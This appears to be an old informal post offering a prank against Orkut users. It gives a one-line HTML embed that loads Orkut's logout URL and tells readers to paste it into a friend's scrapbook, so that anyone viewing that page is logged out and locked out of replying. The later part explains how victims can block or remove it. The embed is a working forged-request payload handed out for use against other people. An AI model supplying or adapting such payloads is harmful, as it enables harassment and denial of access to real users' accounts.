Block your frnds scrapbook
Copy this and paste in your friends scrapbook.

<embed src="http://www.orkut.com/GLogin.aspx?cmd=logout" width="1" height="1">

when that man will enter his scrapbook he will be at the login position .he cant reply from his scrapbook and no one can enter in his profile and scrap him...
It works with the man whois in your friend list
UBNLOCK-----------------
if you want to avoid being logged off again when you see the scrap, you can block flash in your browser.
For firefox, download the following plugin :
https://addons.mozilla.org/en-US/firefox/addon/433
In opera, you can disable the flash plugin.

To delete the scrap with the logout script, first open your scrapbook(where the logout script is there), open any page(except the scrapbook) in a new window(don't close your scrapbook window).

When you open the new page of orkut, it'll ask you to log in. Enter your details and login to orkut. After login, go to your scrapbook page(which you had kept open), and delete the scrap which was causing the logout to occur
OR
open kproxy.com open orkut through tht ...........
login ur self there then del tht scrap and ur account wll work properly